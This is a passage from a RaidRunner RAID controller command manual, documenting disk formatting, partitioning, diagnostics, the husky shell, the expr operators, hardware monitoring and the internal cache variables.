    • DESCRIPTION: devscmp will find the size of the given file and compare it's size in 512-byte blocks to the given size (to be in 512-byte blocks). If the size of the file is less than the given value, then -1 is printed, if equal to then 0 is printed, and if the size of the given file is greater than the given size then 1 is printed. This routine is used in internal scripts to ensure that backends of raid sets are of an appropriate size.

    13.14 DFORMAT- Perform formatting functions on a backend disk drive

    • SYNOPSIS
      • dformat -p c.s.l -R bnum
      • dformat -p c.s.l -pdA|-pdP|-pdG
      • dformat -p c.s.l -S [-v] [-B firstbn]
      • dformat -p c.s.l -F
      • dformat -p c.s.l -D file
    • DESCRIPTION: In it's first form dformat will either reassign a block on a nominated disk drive. via the SCSI-2 REASSIGN BLOCKS command. The second form will allow you to print out the current manufacturers defect list (-pdP), the grown defect list (-pdG) or both defect lists (-pdA). Each printed list is sorted with one defect per line in Physical Sector Format - Cylinder Number, Head Number and Defect Sector Number. The third form causes the drive to be scanned in a destructive write/read/compare manner. If a read or write or data comparison error occurs then an attempt is made to identify the bad sector(s). Typically the drive is scanned from block 0 to the last block on the drive. You can optionally give an alternative starting block number. The fourth form causes a low level format on the specified device. The fifth option allows you to download a device's microcode into the device.
    • OPTIONS:
      • -R bnum: Specify a logical block number to reassign to the drive's grown defect list.
      • -pdA: Print both the manufacturer's and grown defect list.
      • \ -pdP: Print the manufacturer's defect list.
      • -pdG: Print the grown defect list.
      • -S: Perform a destructive scan of the disk reporting I/O errors.
      • -B firstbn: Specify the first logical block number to start a scan from.
      • -v: Turn on verbose mode - which prints the current block number being scanned.
      • -F: Issue a low-level SCSI format command to the given device. This will take some time.
      • -D file: Download into the specified device, the given file. The download is effected by a single SCSI Write-Buffer command in save microcode mode. This allows users to update a device's microcode. Use this command carefully as you could destroy the device by loading an incorrect file.
      • -p c.s.l: Identify the disk device by specifying it's channel, SCSI ID (rank) and SCSI LUN provided in the format "c.s.l"
    • SEE ALSO: Product manual for disk drives used in your RAID.

    13.15 DIAGS - script to run a diagnostic on a given device

    • SYNOPSIS: diags disk -C count -L length -M io-mode -T io-type -D device
    • DESCRIPTION: diags is a husky script which is used to run the randio diagnostic on a given device. When randio is executed, it is executed in verbose mode.
    • OPTIONS:
      • disk: This is the device type of diagnostic we are to run.
      • -C count: Specify the number of times to execute the diagnostic.
      • -L length: Specify the "length" of the diagnostic to execute. This can be either short, medium or long and specified with the letter's s, m or l respectively. In the case of a disk, a short test will the first 10% of the device, a medium the first 50% and long the whole (100%) of the disk.
      • -M io-mode: Specify a destructive (read-write) or non-destructive (read-only) test. Use either read-write or read-only.
      • -T io-type: Specify a type of io - either sequential or random.
      • -D device: Specify the device to test.
    • SEE ALSO: randio, scsihdfs

    13.16 DPART - edit a scsihd disk partition table

    • SYNOPSIS:
      • dpart -a|d|l|m -D file [-N name] [-F firstblock] [-L lastblock]
      • dpart -a -D file -N name -F firstblock -L lastblock
      • dpart -d -D file -N name
      • dpart -l -D file
      • dpart -m -D file -N name -F firstblock -L lastblock
    • DESCRIPTION: Each scsihd device (typically a SCSI disk drive) can be divided up into eight logical partitions. By default when a scsihd device is bound into the RaidRunner's file system, it has four partitions, the whole device (raw), typically named bindpoint/raw, the partition file (bindpoint/partition), the RaidRunner backup configuration file (bindpoint/rconfig), and the "data" portion of the disk (bind- point/data) which represents the whole device less the backup configuration area and partition file. For more information, see scsihdfs. If other partitions are added, then they will appear as bindpoint/partitionname. dpart allows you to edit or list the partition table on a scsihd device (typically a disk).
    • OPTIONS:
      • -a: Add a partition. When adding a partition, you need to specify the partition name (-N) and the partition range from the first block (-F) to the last block (-L).
      • -d: Delete a named (-N) partition.
      • -l: List all partitions.
      • -m: Modify an existing partition. You will need to specify the partition name (-N) and BOTH it's first (-F) and last (-L) blocknumbers even if you are just modifying the last block number.
      • -D file: Specify the partition file to be edited. Typically, this is the bindpoint/partition file.
      • -N name: Specify the partition name.
      • -F firstblock: Specify the first block number of the partition.
      • -L lastblock: Specify the last block number of the partition.
    • SEE ALSO: scsihd

    13.17 DUP - open file descriptor device

    • SYNOPSIS: bind -k dup bind_point
    • DESCRIPTION: The dup device makes a one level directory with an entry in that directory for every open file descriptor of the invoking K9 process. These directory "entries" are the numbers. Thus a typical process (script) binding a dup device would at least make these files in the namespace: "bind_point/0", "bind_point/1" and "bind_point/2". These would correspond to its open standard in, standard out and standard error file descriptors. A dup device allows other K9 processes to access the open file descriptors of the invoking process. To do this the other processes simply "open" the required dup device directory entry whose name (a number) corresponds to the required file descriptor.

    13.18 ECHO - display a line of text

    • SYNOPSIS: echo [string ...]
    • DESCRIPTION: echo writes each given string to the standard output, with a space between them and a newline after the last one. Note that all the string arguments are written in a single write kernel call. The following backslash-escaped characters in the strings are converted as follows: \b backspace

    \c suppress trailing newline

    \f form feed

    \n new line

    \r carriage return

    \t horizontal tab

    \v vertical tab

    \\ backslash

    \nnn the character whose ASCII code is nnn (octal)

    • SEE ALSO: cat

    13.19 ENV- environment variables file system

    • SYNOPSIS: bind -k env bind_point
    • DESCRIPTION: env file system associates a one level directory with the bind_point in the K9 namespace. Each file name in that directory is the name of the environment variable while the contents of the file is that variable's current value. Conceptually each process sees their own copy of the env file system. This copy is either empty or inherited from this process's parent at spawn time (depending on the flags to spawn).

    13.20 ENVIRON - RaidRunner Global environment variables - names and effects

    • DESCRIPTION: The RaidRunner uses GLOBAL environment variables to control the functionality of automatic actions. GLOBAL environment variables are saved in the Raid configuration area so they retain their values between reboots/power downs. Certain RaidRunner internal run-time variables can also be set as a GLOBAL environment variables. See the internals manual entry for details. The table below describes those GLOBAL environment variables that are used by the RaidRunner in it's normal operation.
      • RebuildPri This variable, if set, controls the priority used when drive reconstruction occurs via the rebuild program. If the variable is not set then the default rebuild priority would be used. The variable is to be a comma separated list of raid set names and their associated rebuild priorities and sleep periods (colon separated). The form is
        Rname_1:Pri_1:Sleep_1,Rname_2:Pri_2:Sleep_2,...,Rname_N:Pri_N:Sleep_N
        where Pri_1 is to be the priority the rebuild program runs with when run on raid set Rname_1, Sleep_1 is the period, in milliseconds, to sleep between each rebuild action on the raid set, Pri_2 is to be the priority for raid set Rname_2, and so forth. For example, if the value of RebuildPri is
        R:5:30000
        then if a rebuild occurs (via replace, repair or autorepair) on raid set R then the rebuild will run with priority 5 (via the -p rebuild option) and will sleep 30000 milliseconds (30 seconds) between each rebuild action (specified via the -S rebuild option). The priority given must be valid for the rebuild program.
      • BackendRanks On certain RaidRunner's where multiple controllers may exist, you can restrict a controller's access to the backend ranks of devices available. For example, you may have 2 controllers and 4 ranks of backend devices. You can specify that the first controller can only access the first two ranks and the second controller, the second two ranks. This variable along with other associated commands allows you to set up this restriction. Additionally, you may only have a single controller RaidRunner which is in an enclosure with multiple ranks. By default the controller will attempt to probe for all devices on all ranks. If you have only populated the RaidRunner with say, half it's possible compliment of backend devices, then the RaidRunner will still probe for the other half. Setting this variable appropriately will prevent this un-needed (and on occasion time consuming) process. This variable takes the form
        controller_id:ranklist controller_id:ranklist ...
        where controller_id is the controller number (from 0 upwards) and ranklist is a comma list of backend ranks which the given controller will access. Note that the backend rank is the scsi-id of that rank. For example, on a 2 rank (rank 1 and 2 - i.e scsi id 1 for the first rank and scsi id 2 for the second), 1 controller This variable takes the form For example, on a 2 rank (rank 1 and 2 - i.e scsi id 1 for the first rank and scsi id 2 for the second), 1 controller RaidRunner where only the first rank has devices you could prevent the controller from attempting to access the (empty) second rank by setting BackendRanks to
        0:1
        Typically, you would not set this variable directly, but use supporting commands to set it. These commands are pranks and sranks. See these manual entries for details.
    • RAIDn_reference_PBUFS Raid types 3, 4 and 5 all make use of memory for temporary parity buffers when they need to create parity data. This memory is in addition to that allocated to a raid set's cache. When a raid set is created, it will also create a default number of parity buffers (which are the same size is a raid set's iosize). Sometimes, if the iosize of the raid set is large there will not be enough memory to create this default number of parity buffers. To overcome this situation, you can set GLOBAL environment variables to over-ride the default number of parity buffers that all raid sets of a particular type or a specific raid set will use. You need to set these variables before you define the raid set via agui and if you delete them and not the raid set, then the effect raid sets may not boot and hence will not be accessible by a host. The variables are of the form RAIDn_reference_PBUFS where n is the raid type (3, 4 or 5), and reference is the raid set's name or the string 'Default' You use the reference of 'Default' to specify all raid sets of a particular type. For example, to over-ride the number of parity buffers for a raid 5 named
      : raid ; setenv RAID5_FRED_PBUFS 64

    To over-ride the number of parity buffers for ALL raid 3's (and set only 72 parity buffers) set

    : raid ; setenv RAID3_Default_PBUFS 128

    If you set a default for all raid sets of a particular type, but want ONE of them to be different then set up a variable for that particular raid set as it's value will over-ride the default. In the above example, where all Raid Type 3 will have 128 parity buffers, you could set the variable

    : raid ; setenv RAID3_Dbase_PBUFS 56

    which will allow the raid 3 raid set named 'Dbase' to have 56 parity buffers, but all other raid 3's defined on the RaidRunner will have 128.

    • SEE ALSO: setenv, printenv, rconf, rebuild, internals

    13.21 EXEC - cause arguments to be executed in place of this shell

    • SYNOPSIS: exec [ arg ... ]
    • DESCRIPTION: exec causes the command specified by the first arg to be executed in place of this shell without creating a new process. Subsequent args are passed to the command specified by the first arg as its arguments. Shell redirection may appear and, if no other arguments are given, causes the shell input/output to be modified.

    13.22 EXIT - exit a K9 process

    • SYNOPSIS: exit [string]
    • DESCRIPTION: exit has an optional string argument. If the optional argument is given the current K9 process is terminated with the given string as its exit value. (If the string has embedded spaces then the whole string should be a quoted_string). If no argument is given then the shell gets the string associated with the environment variable "status" and returns that string as the exit value. If the environment variable "status" is not found then the "true" exit status (i.e. NIL) is returned.
    • SEE ALSO: true, K9exit

    13.23 EXPR - evaluation of numeric expressions

    • SYNOPSIS: expr numeric_expr ...
    • DESCRIPTION: expr evaluates each numeric_expr command line argument as a separate numeric expression. Thus a single expression cannot contain unescaped whitespaces or needs to be placed in a quoted string (i.e. between "{" and "}"). Arithmetic is performed on signed integers (currently numbers in the range from -2,147,483,648 to 2,147,483,647). Successful calculations cause no output (to either standard out/error or environment variables). So each useful numeric_expr needs to include an assignment (or op-assignment). Each numeric_expr argument supplied is evaluated in the order given (i.e. left to right) until they all evaluate successfully (returning a true status). If evaluating a numeric_expr fails (usually due to a syntax error) then the expr command fails with "error" as the exit status and the error message is written to the environment variable "error".
    • OPERATORS: The precedence of each operator is shown following the description in square brackets. "0" is the highest precedence. Within a single precedence group evaluation is left-to-right except for assignment operators which are right-to-left. Parentheses have higher precedence than all operators and can be used to change the default precedence shown below. UNARY OPERATORS

    +

    Does nothing to expression/number to the right.

    -

    negates expression/number to the right.

    !

    logically negate expression/number to the right.

    ~

    Bitwise negate expression/number to the right.

    BINARY ARITHMETIC OPERATORS

    *

    Multiply enclosing expressions [2]

    /

    Integer division of enclosing expressions

    %

    Modulus of enclosing expressions.

    +

    Add enclosing expressions

    -

    Subtract enclosing expressions.

    <<

    Shift left expression _left_ by number in right expression. Equivalent to: left * (2 ** right)

    >>

    Shift left expression _right_ by number in right expression. Equivalent to: left / (2 ** right)

    &

    Bitwise AND of enclosing expressions

    ^

    Bitwise exclusive OR of enclosing expressions. [8]

    |

    Bitwise OR of enclosing expressions. [9]

    BINARY LOGICAL OPERATORS

    These logical operators yield the number 1 for a true comparison and 0 for a false comparison. For logical ANDs and ORs their left and right expressions are assumed to be false if 0 otherwise true. Both logical ANDs and ORs evaluate both their left and right expressions in all case (cf. C's short-circuit action).

    <=

    true when left less than or equal to right. [5]

    >=

    true when left greater than or equal to right. [5]

    <

    true when left less than right. [5]

    >

    true when left greater than right. [5]

    ==

    true when left equal to right. [6]

    !=

    true when left not equal to right. [6]

    &&

    logical AND of enclosing expressions [10]

    ||

    logical OR of enclosing expressions [11]

    ASSIGNMENT OPERATORS

    In the following descriptions "n" is an environment variable while "r_exp" is an expression to the right. All assignment operators have the same precedence which is lower than all other operators. N.B. Multiple assignment operators group right-to-left (i.e. same as C language).

    =

    Assign right expression into environment variable on left.

    *=

    n *= r_exp is equivalent to: n = n * r_exp

    /=

    n /= r_exp is equivalent to: n = n / r_exp

    %=

    n %= r_exp is equivalent to: n = n % r_exp

    +=

    n += r_exp is equivalent to: n = n + r_exp

    -=

    n -= r_exp is equivalent to: n = n - r_exp

    <<=

    n <<= r_exp is equivalent to: n = n << r_exp

    >>=

    n >>= r_exp is equivalent to: n = n >> r_exp

    &=

    n &= r_exp is equivalent to: n = n & r_exp

    |=

    n |= r_exp is equivalent to: n = n | r_exp

    • NUMBERS: All number are signed integers in the range stated in the description above. Numbers can be input in base 2 through to base 36. Base 10 is the default base. The default base can be overridden by:
      1. a leading "0" : implies octal or hexadecimal
      2. a number of the form _base_#_num_
      Numbers prefixed with "0" are interpreted as octal. Numbers prefixed with "0x" or "0X" are interpreted as hexadecimal. For numbers using the "#" notation the _base_ must be in the range 2 through to 36 inclusive. For bases greater then 10 the letters "a" through "z" are utilised for the extra "digits". Upper and lower case letters are acceptable. Any single digit that exceeds (or is equal to) the base is consider an error. Base 10 numbers only may have a suffix. See suffix for a list of valid suffixes. Also note that since expr uses signed integers then "1G" is the largest magnitude number that can be represented with the "Gigabyte" suffix (assuming 32 bit signed integers, -2G is invalid due to the order of evaluation).
      • VARIABLES: The only symbolic variables allowed are K9 environment variables. Regardless of whether they are being read or written they should never appear preceded by a "$". Environment variables that didn't previous exist that appear as left argument of an assignment are created. When a non-existent environment variable is read then it is interpreted as the value 0.
      • EXAMPLES: Some simple examples:
        expr {n = 1 + 2} # create n

        echo $n

        3

        expr {n*=2} # 3 * 2 result back into n

        echo $n

        6

        expr { k = n > 5 } # 6 > 5 is true so create k = 1

        echo $k

        1
      • NOTE: expr is a Husky "built-in" command. See the "Note" section in "set" to see the implications.
      • SEE ALSO: husky, set, suffix, test

      13.24 FALSE - returns the K9 false status

      • SYNOPSIS: false
      • DESCRIPTION: false does nothing other than return a K9 false status. K9 processes return a pointer to a C string (null terminated array of characters) on termination. If that pointer is NULL then a true exit value is assumed while all other returned pointer values are interpreted as false (with the string being some explanation of what went wrong). This command returns a pointer to the string "false" as its return value.
      • EXAMPLE: The following script fragment will print "got here" to standard out:
        if false then

        echo impossible

        else

        echo got here

        end
      • SEE ALSO: true

      13.25 FIFO - bi-directional fifo buffer of fixed size

      • SYNOPSIS:
        • bind -k {fifo size} bind_point
        • cat bind_point
        • bind_point/data
        • bind_point/ctl
      • DESCRIPTION: fifo file system associates a one level directory with the bind_point in the K9 namespace with a buffer size of size bytes. bind_point/data and bind_point/ctl are the data and control channels for the fifo. Data written to the bind_point/data file is available for reading from the same file in a first-in first-out basis. A write of x bytes to the bind_point/data file will either complete and and transfer all the data, or will transfer sufficient bytes until the fifo buffer is full then block until data is removed from the fifo buffer by reading. A read of x bytes from the bind_point/data file will transfer the lessor of the current amount of data in the fifo buffer or x bytes. A read from the bind_point/ctl will return the size of the fifo buffer and the current usage. The number of opens (# Opens) is the number of processes that currently have the bind_point/data file open.
      • EXAMPLE
        > /buffer

        bind -k {fifo 2048} /buffer

        ls -l /buffer

        /buffer:

        /buffer/ctl                     fifo    2 0x00000001    1 0

        /buffer/data                    fifo    2 0x00000002    1 0

        cat /buffer/ctl

        Max: 2048 Cur: 0, # Opens: 0

        echo hello > /buffer/data

        cat /buffer/ctl

        Max: 2048 Cur: 6, # Opens: 0

        dd if=/buffer/data bs=512 count=1

        hello

        0+1 records in

        0+1 records out

        cat /buffer/ctl

        Max: 2048 Cur: 0, # Opens: 0
    • SEE ALSO: pipe

    13.26 GET - select one value from list

    • SYNOPSIS: get number [ value ... ]
    • DESCRIPTION: get uses the given number to select one value from the given list. Indexing is origin 0 (e.g. "get 0 aaa bb c" returns "aaa"). If the number is out of range for an index on the given list of values then nothing is returned.

    13.27 GETIV - get the value an internal RaidRunner variable

    • SYNOPSIS:
      • getiv
      • getiv name
    • DESCRIPTION: getiv prints the current value of an internal RaidRunner variable or prints a list of all variables. When a variable name is given it's current value is printed. If no value is given the all available internal variables are listed.
    • NOTES: As different models of RaidRunners have different internal variables see your RaidRunner's Hardware Reference manual for a list of variables together with the meaning of their values. These variables are run-time variables and hence revert to their default value whenever the RaidRunner is booted.
    • SEE ALSO: setiv

    13.28 HELP - print a list of commands and their synopses

    • SYNOPSIS: help or ?
    • DESCRIPTION: help or the question mark character - ?, will print a list of all commands available to the command interpreter. Along with each command, it's synopsis is printed.

    13.29 HUSKY - shell for K9 kernel

    • SYNOPSIS
      • husky [-c command] [ file [ arg ... ] ]
      • hs [-c command] [ file [ arg ... ] ]
    • DESCRIPTION: husky and hs are synonyms. husky is a command language interpreter that executes commands read from the standard input or from a file. husky is a scaled down model of Unix's Bourne shell (sh). One major difference is that husky has no concept of current working directory. If the "-c" switch is present then the following command is interpreted by husky in a newly thrown shell nested in the current environment. This newly thrown shell exits back to the current environment when the command finishes. Otherwise if arguments are given the first one is assumed to be a file containing husky commands. Again a new shell is thrown to execute these commands. husky script files can access their command line arguments and the 2nd and subsequent arguments to husky (if present) are passed to the file for that purpose. If no arguments are given to husky then commands are read from standard in (and the shell is considered interactive).
    • RETURN STATUS: husky places the K9 return status of a process (NIL if ok, otherwise a string explaining the error) in the file "/env/status" An example:
      dd if=/xx

      dd: could not open /xx

      cat /env/status

      open failed

      cat /env/status

      # empty because previous "cat" worked

    As the file "/env/status" is an environment variable the return status of a command is also available in the variable $status. The exit status of a pipeline is the exit status of the last command in the pipeline.

    • SIGNALS If an interactive shell receives an interrupt signal (i.e. K9_SIGINT - usually a control-C on the console) then the shell exits. The "init" process will then start a new instance of the husky shell with all the previously running processes (with the exception of the just killed shell) still running. This allows the user to kill the process that caused the previous shell problems. Alternatively a process that is acci dentally run in foreground is effectively put in the background by sending an interrupt signal to the shell. Note that this is quite different to Unix shells which would forward the signal onto the foreground process.
    • QUOTES, ESCAPING, STRING CONCATENATION, ETC: A quoted_string (as defined in the grammar) commences with a "{" and finishes with the matching "}". The term "matching" implies that all embedded "{" must have a corresponding embedded "}" before the final "}" is said to match the original "{". A quoted_string can be spread across several lines. No command line substitution occurs within quoted_strings. The character for escaping the following character is "\". If a "{" needs to be interpreted literally then it can be represented by "\{". If a string containing spaces (whitespaces) needs to be interpreted as a single token then space (whitespace) can be escaped (i.e. "\ "). If a "\" itself needs to be interpreted literally then it can be represented by "\\". The string concatenation character is "^". This is useful when a token such as "/d4" needs to built up by a script when "/d" is fixed and the "4" is derived from some variable:
      set n 4

      > /d^$n

    This example would create the file "/d4".

    The output of another husky command or script can be made available inline by starting the sequence with "`" and finishing it with a "'". For example:

    echo {ps output follows:

    } `ps'

    This prints the string "ps output follows:" followed on the next line by the current output from the command "ps". That output from "ps" would have its embedded newlines replaced by whitespaces.

  • COMMAND LINE FILE REDIRECTION:
    • Redirection should appear after a command and its arguments in a line to be interpreted by husky. A special case is a line that just contains "> filename" which creates the filename with zero length if it didn't previously exist or truncates to zero length if it did.
    • Redirection of standard in to come from a file uses the token "<" with the filename appearing to its right. The default source of standard in is the console.
    • Redirection of standard out to go to a file uses the token ">" with the filename appearing to its right. The default destination of standard out is the console.
    • Redirection of standard error to go to a file uses the token ">[2]" with the filename appearing to its right. The default destination of standard error is the console.
    • Redirection of writes from within a command which uses a known file descriptor number (say "n") to go to a file uses the token ">[n]" with the filename appearing to its right.
    • Redirection of read from within a command which uses a known file descriptor number (say "n") to come from a file uses the token "<[n]" with the filename appearing to its right.
    • Redirection of reads and writes from within a command which uses a known file descriptor number (say "n") to a file uses the token "<>[n]" with the filename appearing to its right. In order to redirect both standard out and standard error to the one file the form " > filename >[2=1]" can be used. This sequence first redirects standard out (i.e. file descriptor 1) to filename and then redirects what is written to file descriptor 2 (i.e. standard error) to file descriptor 1 which is now associated with filename.
  • ENVIRONMENT VARIABLES: Each process can access the name it was invoked by via the variable: "arg0" . The command line arguments (excluding the invocation name) can be accessed as a list in the variable: "argv" . The number of elements in the list "argv" is place in "argc". The get command is useful for fetching individual arguments from this list. The pid of the current process can be fetched from the variable: "pid". When a script launches a new process in the background then the child's pid can be accessed from the variable "child". The variable "ContollerId" is set to the RaidRunner controller number husky is running on. Environment variables are a separate "space" for each process. Depending on the way a process was created, its initial set of environment variables may be copied from its parent process at the "spawn" point.
  • SEE ALSO: intro

    • 13.30 HWCONF - print various hardware configuration details

    • SYNOPSIS: hwconf [-D] [-M] [-I] [-d [-n]] [-f] [-h] [-i -p c.s.l] [-m] [-p c.s.l] [-s] [-S] [-t] [-T] [-P] [-W]
    • DESCRIPTION: hwconf prints details about the RaidRunner hardware and devices attached.
    • OPTIONS:
      • -h: Print the number of controllers, host interfaces per controller, the number of disk channels per controller, number of ranks of disks and the details memory (in bytes) on each controller. Four memory figures are printed, the first is the total memory in the controller, next is the amount of memory at boot time, next is the amount currently available and lastly is the largest available contiguous area of memory. This is the default option.
      • -f: Print the number of fans in the RaidRunner and then the speed for each fan in the system. The speeds values are in revolutions per minute (rpms). The fans in the system are labeled in your hardware specification sheet for your RaidRunner. The first speed printed from this command corresponds to fan number 0 on your specification sheet, the second is for fan 1, and so forth.
      • -d: Print out information on all the disk drives on the RaidRunner. For each disk on the RaidRunner, print out - the device name, in the format c.s.l where c is the channel, s is the SCSI ID (or rank) and l is the SCSI LUN of the device, the manufacturer's name (vendor id), the disk's model name (product id), the disk's version id, the disk serial number, the disk geometry - number of cylinders, heads and sectors, and the last block number on the disk and the block size in bytes. the disk revolution count per minute (rpm's), the number of notches/zones available on the drive (if any)
      • -n: Print out the disk drive notch/zone tables if available. This is a sub-option to the -d option. Not all disks appear to correctly report the notch/zone partition tables. For each notch/zone,
      • the following is printed: the zone number, the zone's starting cylinder, the zone's starting head, the zone's ending cylinder, the zone's ending head, the zone's starting logical block number, the zone's ending logical block number, the zone's number of sectors per track
      • -D: Print out the device names for all disk drives on the system.
      • -I: Initialize back-end NCR SCSI chips. This flag may be used in conjunction with any other option and will done first. It has an effect only the first call to hwconf that has not yet used a -d, -D or -I options, or on those chips that have not yet had a -p on the channel associated with that chip.
      • -m: Print out major flash and battery backed-up ram addresses (in hex). Additionally print out the size of the RaidRunner configuration area. Eight (8) addresses are printed in order RaidRunner configuration area start and end addresses (FLASH RAM), RaidRunner Husky Scripts area start and end addresses (FLASH RAM), RaidRunner Binary Image area start and end addresses (FLASH RAM), RaidRunner Battery Backed-up area start and end addresses. And the size of the RaidRunner configuration area (in bytes) is then printed.
      • -p c.s.l: Probe a single device specified by the given channel, SCSI ID (rank) and SCSI LUN provided in the format "c.s.l". The output of this command is the same as the "-d" option but just for the given device. If the device is not present then nothing will be output and the exit status of the command will be 1.
      • -i -p c.s.l: Re-initialize the SCSI device driver specified by the given channel, SCSI ID (rank) and SCSI LUN provided in the format "c.s.l". Typically this command is used when, on a running RaidRunner, a new drive is plugged in, and it will be used prior to the RaidRunner's next reboot.
      • -M: Set the boottime memory. This option is executed internally by the controller at boot time and has no function (or effect) executed at any other time.
      • -s: Print the 12 character serial number of the RaidRunner.
      • -S: Issue SCSI spin up commands to all backends as quickly as possible. This option is intended for use at power-on stage only.
      • -t: Probe the temperature monitor returning the internal temperature of the RaidRunner in degrees Celsius.
      • -T: Print the temperatures being recorded by the hardware monitoring daemon (hwmon).
      • -P: For both AC and DC power supplies, print the number of each present and the state of each supply. The state will be printed as ok or flt depending on whether the PSU is working or faulty.
      • -W: This option will wait until all possible backends have spun up. It is used in conjunction with
    • NOTES : The order of printing the disk information is by SCSI ID (rank), by channel, by SCSI LUN.

    13.31 HWMON - monitoring daemon for temperature, fans, PSUs.

    • SYNOPSIS: hwmon [-t seconds] [-d]
    • DESCRIPTION: hwmon is a hardware monitoring daemon. It periodically probes the status of certain elements of a RaidRunner and if an out-of-band occurrence happens, will cause the alarm to sound or light up fault leds as well as saving a message in the system log. Depending on the model of RaidRunner, the elements monitored are temperature, fans and power supplies. When an out-of-band occurrence is found, hwmon will reduce the time between probes to 5 seconds. If a buzzer is the alarm device, then the buzzer will turn on for 5 seconds then off for 5 seconds and repeat this cycle until the buzzer is muted or the occurrence is corrected. If the RaidRunner model supports a buzzer muting switch, then the buzzer will be muted if the switch is pressed during a cycle change as per the previous paragraph. When hwmon recognizes the mute switch it will beep twice.

    Certain out-of-band occurrences can be considered to be catastrophic, meaning if the occurrence remains uncorrected, the RaidRunner's hardware is likely to be damaged. Occurrences such as total fan failure and sustained high temperature along with total or partial fan failure are considered as catastrophic. hwmon has a means of automatically placing the RaidRunner into a "shutdown" or quiescent state where minimal power is consumed (and hence less heat is generated). This is done by the execution of the shutdown command after a period of time where catastrophic out-of-band occurrences are sustained. This process is enabled, via the AutoShutdownSecs internal variable. See the internals manual for use of this variable. hwmon can be prevented from starting at boot time by creating the global environment variable NoHwmon and setting any value to it. A warning message will be stored in the syslog.

    • OPTIONS:
      • t seconds: Specify the number of seconds to wait between probes of the hardware elements. If this option is not specified, the default period is 300 seconds.
      • -d: Turn on debugging mode which can produce debugging output.
    • SEE ALSO: hwconf, pstatus, syslogd, shutdown, internals

    13.32 INTERNALS - Internal variables used by RaidRunner to change dynamics of running kernel

    • DESCRIPTION: Certain run-time features of the RaidRunner can be manipulated by changing internal variables via the setiv command. The table below describes each changeable variable, it's effect, it's default value and range of values it can be set to. The variables below are run-time features of a RaidRunner and hence are always set to their default values when a RaidRunner boots. Certain variables can be stored as a global environment variable and will over-ride the defaults at boot time. If you create a global environment variable of that variable's name with an appropriate value, it's default value will be over-ridden the next time the RaidRunner is re-booted. Note, that the values of these variables ARE NOT CHECKED when set in the global environment variable tables and, if incorrectly set, will generate errors at boot until deleted or corrected. In the table below, any variable that can have a value stored as a global environment variable is marked with (GEnv)
    • write_limit: This variable is the maximum number of 512-byte blocks the cache filesystem will buffer for writes. If this limit is reached all writes to the cache filesystem will be blocked until the cache filesystem has written out (to it's backend) enough blocks to reach a low water mark - write_low_tide. This variable cannot be changed if battery backed-up RAM is available as it is tied to the amount of battery backed-up RAM available. The value of this variable is calculated when the cache is initialized. It's value is dependant on whether battery backed-up RAM is installed in the RaidRunner. If installed, the number of blocks of data that can be saved into the battery backed-up RAM is calculated. If no battery backed-up RAM is present, it's value is set to 75% of the RaidRunner's memory (expressed in a count of 512 byte blocks) then adjusted to reflect the amount of cache requested by configured raid sets. When write_limit is changed then both write_high_tide and write_low_tide are automatically changed to there default values (a function of the value of write_limit).
    • write_high_tide: This variable is a high water mark for the number of written-to 512-byte blocks in the cache. When the number of data blocks exceeds this value, to avoid the cache filesystem from blocking it's front end, the cache flushing mechanism continually flushes the cache buffer until the amount of unwritten (to the backend) cache buffers is below the low water mark (write_low_tide). This value defaults to 75% of write_limit. This variable can have values ranging from write_limit down to write_low_tide. It is recommended that this variable not be changed.
    • write_low_tide: This variable is a low water mark for when the cache flushing mechanism is continually flushing data to it's backend. Once the number of written-to cache blocks yet to be flushed equals or is less than this value, the sustained flushing is stopped. This value defaults to 25% of write_limit. This variable can have values ranging from write_high_tide-1 down to zero (0). It is recommended that this variable not be changed.
    • cache_nflush: This variable is the number of cache buffers (not 512-byte data blocks) that the cache flushing mechanism will attempt to write out in one flush cycle. Adjusting this value may improve performance on writes depending of the size of the cache buffers and type of disk drives used in the raid set backends. The default value is 128. It's value can range from 2 to 128.
    • cache_nread: This variable is the number of cache buffers (not 512-byte data blocks) that the cache reading mechanism will attempt to read out in one read cycle. Adjusting this value may improve performance on reads depending of the size of the cache buffers and type of disk drives used in the raid set backends. The default value is 128. It's value can range from 2 to 128.
    • cache_wlimit: This variable is the number of cache buffers (not 512-byte data blocks) that the cache flushing mechanism will attempt coalesce into a single sequential write. It is different to cache_nflush in that cache_nflush is the total number of cache buffers that can be written in a single cache flush cycle and these buffers can be non sequential whereas cache_wlimit is a limit on the number of sequential cache buffer's that can be written with one write. Adjusting this value may improve performance on writes depending of the size of the cache buffers and type of disk drives used in the raid set backends. The default value is 128. It's value can range from 2 to 128.
    • cache_fperiod (GEnv): By default, the cache flushes any data to be written every 1000 milliseconds (unless it's forced to by the fact that the cache is getting full and then it flushes the cache and resets the timer). You can vary this flushing period by setting this variable. Given you have a large number of sustained reads and minimal writes, then you may want to delay the writes out of cache to the backends as long as possible. Note, that by setting this to a high value, you run the risk of loosing what you have written. The default value is 1000 milliseconds (i.e 1 second). It's value can range from 500ms to 300000ms.
    • scsi_write_thru (GEnv): By default all writes (from a host) are buffered in the RaidRunner's cache and are flushed to the backend disks periodically. When battery backed-up RAM is available then this results in the most efficient write throughput. If no battery backed-up RAM is available or you do not want to depend on writes being saved in battery backed-up RAM in event of a power failure you can force the RaidRunner to write data straight thru to the backends prior to returning an OK status to the host. This essentially provides a write-thru cache. The default value of this variable is 0 - write-thru mode is DISABLED. The values this variable can take are
      • 0 - DISABLE write-thru mode, or
      • 1 - ENABLE write-thru mode.
    • scsi_write_fua (GEnv): This variable effects what is done when the FUA (Force Unit Access) bit is set on a SCSI WRITE-10 command. When this variable is enabled and a SCSI WRITE-10 command has the FUA bit set is processed then the data is written directly thru the cache to the backend disks. If the variable is disabled, then the setting of the FUA bit on SCSI WRITE-10 commands is ignored. The default value for this variable is disabled (0) if battery backed-up RAM is present, or enabled (1) if battery backed-up RAM is NOT present. The values this variable can take are
      • 0 - IGNORE FUA bit on SCSI WRITE-10 commands, or
      • 1 - ACT on FUA bit on SCSI WRITE-10 commands.
    • scsi_ierror (GEnv): This variable controls what is done when the RaidRunner receives a Initiator Detected Error message on a SCSI host channel. If set (1), cause an Check Condition, If NOT set (0), follow the SCSI-2 standard and re-transmit the Data In / Out phase. The default value is 0. The values this variable can take are
      • 0 - follow SCSI-2 standard
      • 1 - ignore the SCSI-2 standard and cause a Check Condition.
    • scsi_sol_reboot (GEnv): Determines whether to auto-detect a Solaris reboot and the clear any wide mode negotiations. If set (1), detect a Solaris reboot and clear wide mode. If NOT set (0), follow the SCSI-2 standard and not clear wide mode. The default value is 0. The values this variable can take are
      • 0 - follow SCSI-2 standard
      • 1 - ignore the SCSI-2 standard and clear wide mode.
